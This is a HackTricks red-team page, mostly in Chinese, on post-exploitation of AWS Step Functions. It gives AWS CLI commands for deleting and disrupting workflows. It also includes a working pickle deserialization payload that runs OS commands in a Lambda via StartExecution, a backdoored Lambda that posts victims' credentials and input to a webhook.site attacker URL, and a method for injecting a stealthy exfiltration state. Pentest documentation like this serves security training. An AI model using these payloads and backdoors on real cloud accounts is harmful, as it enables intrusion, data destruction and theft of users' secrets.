AWS - Step Functions Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

states:RevealSecrets

此权限允许在执行过程中揭示机密数据。为此,需要将 Inspection level 设置为 TRACE,并将 revealSecrets 参数设为 true。

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

具有这些权限的攻击者可以永久删除状态机、其版本和别名。这会破坏关键工作流、导致数据丢失,并需要大量时间来恢复和还原受影响的状态机。此外,这还允许攻击者掩盖所用的痕迹、干扰取证调查,并可能通过移除重要的自动化流程和状态配置来瘫痪运营。

Note

  • 删除状态机时,也会删除其所有关联的版本和别名。
  • 删除状态机别名时,不会删除引用该别名的状态机版本。
  • 无法删除当前被一个或多个别名引用的状态机版本。
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • 潜在影响:中断关键工作流、数据丢失和运营停机。

states:UpdateMapRun

拥有此权限的攻击者可以操纵 Map Run 的失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的吞吐量和性能。此外,攻击者还可以篡改可容忍的失败百分比和失败计数,将该值降为 0,这样每当某个项失败时,整个 Map Run 都会失败,直接影响状态机的执行并可能中断关键工作流。

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • 潜在影响: 性能下降,以及关键工作流的中断。

states:StopExecution

拥有此权限的攻击者可以停止任何状态机的执行,扰乱正在进行的工作流和流程。这可能导致事务未完成、业务运营中断,甚至可能造成数据损坏。

Warning

此操作不受 express state machines 支持。

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • 潜在影响: 正在进行的工作流中断、运营停机以及潜在的数据损坏。

states:TagResource, states:UntagResource

攻击者可以向 Step Functions 资源添加、修改或删除标签,从而破坏组织基于标签的成本分配、资源跟踪和访问控制策略。

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potential Impact: 干扰成本分配、资源跟踪和基于标签的访问控制策略。


states:StartExecution -> Input Injection Into Dangerous Sinks

states:StartExecution 是一个数据平面入口。如果状态机将攻击者控制的输入转发到包含危险 sink 的任务(例如一个 Lambda 执行 pickle.loads(base64.b64decode(payload_b64))),有时你可以把 StartExecution 变成通过执行输出进行的 代码执行秘密外泄,而无需任何更新状态机的权限。

发现工作流程和被调用的 Lambda

如果你拥有 states:List* / states:Describe*,你可以枚举并读取状态机定义:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

如果你也拥有 lambda:GetFunction,你可以下载 Lambda 代码包以了解输入如何被处理(并确认是否存在不安全的反序列化):

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

示例:在执行输入中的精心构造的 pickle (Python)

如果 Lambda 对攻击者控制的数据执行 unpickle,则恶意 pickle 可以在 deserialization 期间执行代码。下面是一个将在 Lambda runtime 中评估 Python 表达式的示例 payload:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Impact: 任务角色所具有的任何权限 (Secrets Manager reads, S3 writes, KMS decrypt, etc.) 都可能通过精心构造的输入变得可被访问,且结果可能作为 Step Functions 执行输出返回。

states:UpdateStateMachine, lambda:UpdateFunctionCode

如果攻击者入侵了具有下列权限的用户或角色:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

…可以通过将 Lambda backdooring 与 Step Function logic manipulation 结合,发起一个 high-impact and stealthy post-exploitation attack

本情景假定受害者使用 AWS Step Functions to orchestrate workflows that process sensitive input,例如 credentials、tokens 或 PII。

示例受害者调用:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

如果 Step Function 被配置为调用像 LegitBusinessLogic 这样的 Lambda,攻击者可以继续进行两个隐蔽的攻击变体


更新了 lambda 函数

攻击者修改 Step Function 已使用的 Lambda 函数(LegitBusinessLogic)的代码,以静默地 exfiltrate 输入数据。

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

向 Step Function 添加恶意状态

或者,攻击者可以通过更新 Step Function 定义,在工作流开始处注入一个 exfiltration state

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

The attacker can even more stealthy to update the state definition to something like this { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } where the victim won’t realize the different


受害者设置(利用上下文)

  • 一个 Step Function (LegitStateMachine) 被用于处理敏感的用户输入。
  • 它会调用一个或多个 Lambda 函数,例如 LegitBusinessLogic

潜在影响

  • 静默 exfiltration 敏感数据,包括 secrets、credentials、API keys 和 PII。
  • 在工作流执行中不会出现可见的错误或失败。
  • 如果不审计 Lambda 代码或执行跟踪,难以检测到。
  • 如果 backdoor 保留在代码或 ASL 逻辑中,则可实现长期持久性。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks